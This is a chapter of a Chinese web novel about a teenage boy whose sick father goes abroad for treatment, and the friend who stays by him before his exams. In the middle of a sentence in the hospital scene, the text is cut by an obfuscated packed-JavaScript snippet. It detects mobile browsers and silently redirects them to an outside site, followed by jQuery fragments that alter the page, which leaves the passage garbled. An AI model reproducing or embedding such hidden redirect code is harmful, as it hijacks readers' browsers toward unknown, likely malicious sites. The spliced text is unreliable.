初三下学期的四月，江川迎来了它最善变的季节。
前一天还是艳阳高照，转眼间就能被连绵的雨水浸透。路边的樱花刚冒出粉白的花苞，就被一场突如其来的春雨打落了大半，湿漉漉地黏在水泥路面上，像是被揉碎的纸巾。
陶昨非站在病房里，手里攥着张纸，纸的边缘被他无意识地捏出了细密的褶皱，又被他机械地抚平。
阳光从窗户斜射进来，在纸面上投下一道刺眼的光斑，正好落在那枚蓝色公章上——德国海德堡大学附属医院的英文全称更加醒目。
他盯着那枚公章看了很久。
旁边传来行李箱滚轮滑动的声音，金属轴承碾过地砖，发出细微的咔嗒声。
沈兰茵背对着他，收拾衣物的动作很快却有条不紊。
“那边有更好的治疗方案。”她没回头，手指在衣料间翻飞，“主治医生是国际权威，成功率比国内高。”
说到最后，她更加用力地压平一件衬衫的领口。
陶昨非的目光落在病床上。
父亲的手搭在白色被单外，苍白得近乎透明，瘦得能看见每一处骨节的凸起。
输液管里的液体一滴一滴往下坠。
“什么时候走？”他问，语气比想象中平静。
“下周三。”沈兰茵终于转身，嘴角绷得很紧。
她抬手整理了下自己鬓角的碎发，那里新添了几根白发。
“你专心准备中考，不用操心这些。”她顿了顿，“你爸这边，有我。”
陶昨非点点头，把邀请函折好放回桌上，“爸知道吗？”
“他醒着的时候告诉他了。”她的目光飘向病床，又迅速收回，“他说，让你好好准备考试，别……”
话没说完就变成了一个急促的鼻音。
窗外有只麻雀落在空调外机上，歪头啄了啄生锈的铁皮，发出空洞的咚咚声，又扑棱着翅膀飞走了。
陶昨非盯着那块空出来的地方，突然说：“不用担心我。”
沈兰茵闻声，嘴唇动了动像是要说什么，但最终只是伸手捋了捋他的衣领。
她的指尖很凉。
“保姆张阿姨会照顾你，中考前你要注意身体，别熬夜。”她说到一半突然停住，转身去拉行李箱的拉链，金属齿咬合声在安静的病房里格外刺耳，“算了，我不啰唆了，你自己一定有数的。”
陶昨非看着母亲越发瘦弱的背脊。
她今天穿了件藏青色的针织开衫，是以前生日时让父亲买的，现在肩线已经松垮地垂下来，显得整个人更加单薄。
“妈。”他叫了一声，却不知道接下来要说什么。
沈兰茵已经拎起箱子放到沙发旁，滚轮在地面划出两道平行的痕迹，“我去办转院手续，你……再看看他吧。”
她的背影在门口停了一下，但没有回头。
病房门关上时带起一阵风，吹动了床头挂着的病历卡。
陶昨非在椅子上坐下，小心避开那些纵横交错的管线。父亲的脸陷在枕头里，呼吸面罩上凝着细小的水珠，随着微弱的呼吸时隐时现。他伸手想调整一下点滴速度，又怕弄醒他，最终只是把被子往上拉了拉。
监测仪发出规律的“滴滴”声，绿色的波浪线平稳地起伏着。
陶昨非盯着父亲凹陷的眼窝，想起今年一月一日，他们最后一次下棋。
那天特别冷，窗玻璃上结着冰花，父亲的手指已经瘦得捏不住棋子，却还是坚持要下完那盘。
窗外飘着雪，父亲突然说：“今天是你生日，本来还想给你做碗面的。”
“等你好了再给我做。”他当时这么回答。
父亲笑了笑，没说话，只是把一颗黑子按在棋盘上，发出“嗒”的一声响。
走廊传来脚步声，关既明拿着病历本走过来，白大褂口袋里插着几支笔，袖口微微卷起。
他看见陶昨非，脚步微顿，眼神在他和陶见川之间短暂地游移了一下。
“昨非。”他开口说道，声音比平时低，“你爸今天怎么样？”
陶昨非站起身，“睡了很久。”
关既明点着头走近，看见桌上的邀请函，手指无意识地摩挲着病历本的边缘，“你妈……都跟你说了？”
“嗯。”陶昨非简短地回应。
关既明沉默了一会儿。
“别太担心。”他的语气像是医生对家属的例行安慰，却又比那多一点什么。
关既明伸手拍了拍他的肩。
“你爸很坚强。”他说，“你也一样。”
陶昨非点头，视线却越过关既明，落在病房门口——
沈兰茵正站在那里，手里拿着几张表格。
两人的目光在空中短暂地交汇，又各自移开。
“我去看看你爸的检查报告。”关既明说，声音比刚才更轻。
陶昨非看着他走向沈兰茵，两人低声交谈了几句，关既明的手很自然地搭了一下她的肩，又很快收回。
—
次日下了雨，关笑吟撑着伞站在校门口，雨滴噼里啪啦地砸在伞面上，溅起的水花打湿了她的帆布鞋。
她低头看了眼手表——放学已经过了二十分钟，陶昨非还是没出现。
雨越下越大，水洼里泛起无数泡泡。
她叹了口气，正准备转身离开，忽然听见身后有人喊她。
“关笑吟。”
她猛地回头，陶昨非站在教学楼拐角处，没打伞，校服外套被雨水浸湿了大半，黑发湿漉漉地贴在额前，衬得脸色更加苍白。
“你傻啊？不知道躲雨？”她快步走过去，把伞往他那边倾斜。
他没动，只是低头看着她，睫毛上还挂着水珠，眼神有些空。
“怎么了？”她皱眉。
“我爸要出国治疗。”他突然说道。
关笑吟一愣，“出国？”
“嗯，我妈联系的医院，下周就走。”
关笑吟张了张嘴，想说点什么，可喉咙被什么堵住了似的出不了声。
雨水打在伞面上的动静突然变得很大，像是无数细小的鼓点。
“那……你呢？”过了一会儿，她轻声问。
“我留下。”他语气平静，好似是在说一件无关紧要的事，“快中考了，他们不想影响我。”
关笑吟盯着他看了几秒，突然伸手拽住他的手腕，“走。”
她拉着他往校门外冲，雨水打在他们身上，溅起的水花打湿了裤脚。
“去哪？”
“医院。”她头也不回地说。
病房里弥漫着药物的苦涩，窗帘半拉着，光线昏沉。
陶见川靠在床头，比关笑吟上次见他时又瘦了一圈，颧骨高高凸起，眼窝深陷，苍白的皮肤勉强包裹着骨骼。
他的手背上扎着留置针，青紫色的血管在近乎透明的皮肤下清晰可见，输液管里的药水一滴一滴地落下，缓慢而规律。
沈兰茵坐在床边，正在整理一沓文件，见他们进来，她勉强笑了笑，“笑笑来了啊。”
关笑吟点点头，乖巧地喊了声“沈阿姨”，然后偷偷瞥了眼陶昨非。
他的目光落在病床上，表情晦暗不明。
“昨非。”陶见川开口，声音沙哑，他微微抬起手，“过来。”
陶昨非这才走过去，在床边的椅子上坐下。
椅子腿摩擦地面，发出刺耳的声响，在安静
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15680187|173259||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的病房里格外突兀。
陶见川突然咳嗽起来，胸腔剧烈起伏。
沈兰茵连忙递过水杯，他喝了两口，喉结艰难地滚动着，缓了缓才继续说：“中考，别耽误。”
陶昨非没说话，只是点了点头。
关笑吟忍不住探头看了一眼，正好撞上陶见川的视线。
他冲她笑了笑，那笑容虚弱却温和，“笑笑，最近学习怎么样？”
“还行。”她挠挠头，“就是数学有点难。”
“让昨非教你，”陶见川轻声道，目光转向儿子，“他数学好。”
陶昨非的手指微微收紧，指节泛白。
关笑吟忽然觉得鼻子有点酸。
她低下头，盯着自己的鞋尖，鞋面上还沾着雨水，湿漉漉的。
从医院出来时，雨已经停了，但天色依旧阴沉，云层低得仿佛要压到头顶。空气中弥漫着泥土和青草的气息，路边的水洼里倒映着灰蒙蒙的天空。
陶昨非走在前面，背影挺拔却孤寂，如同一棵被风雨摧折却不肯倒下的树。
关笑吟小跑两步追上他，故意撞了下他的肩膀。
“喂，你爸让我跟着你学数学，你听见没？”她努力让语气显得轻松，甚至带上了一点挑衅。
他侧头看她一眼，眼神终于有了点焦距，“你听得进去？”
“怎么听不进去！”她瞪他，“我这次月考数学可是进步了十分！”
“终于突破一百一了？”他嘴角微微扬了扬，但很快又恢复平静。
“……闭嘴。”她踢了一脚路边的石子，石子滚进下水道，发出清脆的声响，“你以为谁都是你啊。”
他没再说话，只是沉默地走着，脚步不紧不慢。
—
陶见川和沈兰茵离开的那天，陶昨非被要求待在学校上课。
清晨的教室里，阳光透过玻璃窗斜斜地照进来，落在他的课桌上。
他盯着黑板，但眼神是空的。
老师的讲课声在耳边嗡嗡作响，像是隔了一层厚厚的毛玻璃。
接下来的日子，他每天准时出现在教室里，做题、背书、刷卷子，把所有精力都投入到备考中，仿佛是在用这种方式逃避现实。
关笑吟没拆穿他，只是每天放学后拉着他去图书馆，逼他吃晚饭，偶尔还会故意找几道超纲的数学题问他，就为了看他皱眉思考的样子。
四月中旬的某个晚上，关笑吟趴在图书馆的桌子上睡着了。
醒来时，身上披着陶昨非的外套。
她揉了揉眼睛，迷迷糊糊地问：“几点了？”
“八点半。”陶昨非答。
她抬头，看见他正坐在对面，低头写着什么，灯光映在他的侧脸上，勾勒出清晰的轮廓。他的睫毛很长，鼻梁高挺，下颌线条干净利落。
“你在写什么？”她好奇地凑过去。
“给你整理了错题。”他头也不抬，笔尖在纸上划出流畅的线条，“你上次考试错的题型，我找了类似的。”
关笑吟怔住，低头看着那几张密密麻麻的纸，上面写满了公式和解题步骤，甚至还有红笔标注的注意事项。她的心口突然热热的。
“陶昨非。”
“嗯？”
“你真好。”
他笔尖一顿，抬眼看她，眼神里带着一丝不易察觉的柔软，“才知道？”
她没忍住，伸手戳了戳他的脸，“夸你一句还得意上了？”
他抓住她的手指，掌心温热，“别闹，写完这道题。”
关笑吟乖乖坐回去，托着下巴看他。
窗外的夜色深沉，图书馆里安静得只剩下笔尖划过纸面的沙沙声，和彼此交错的呼吸。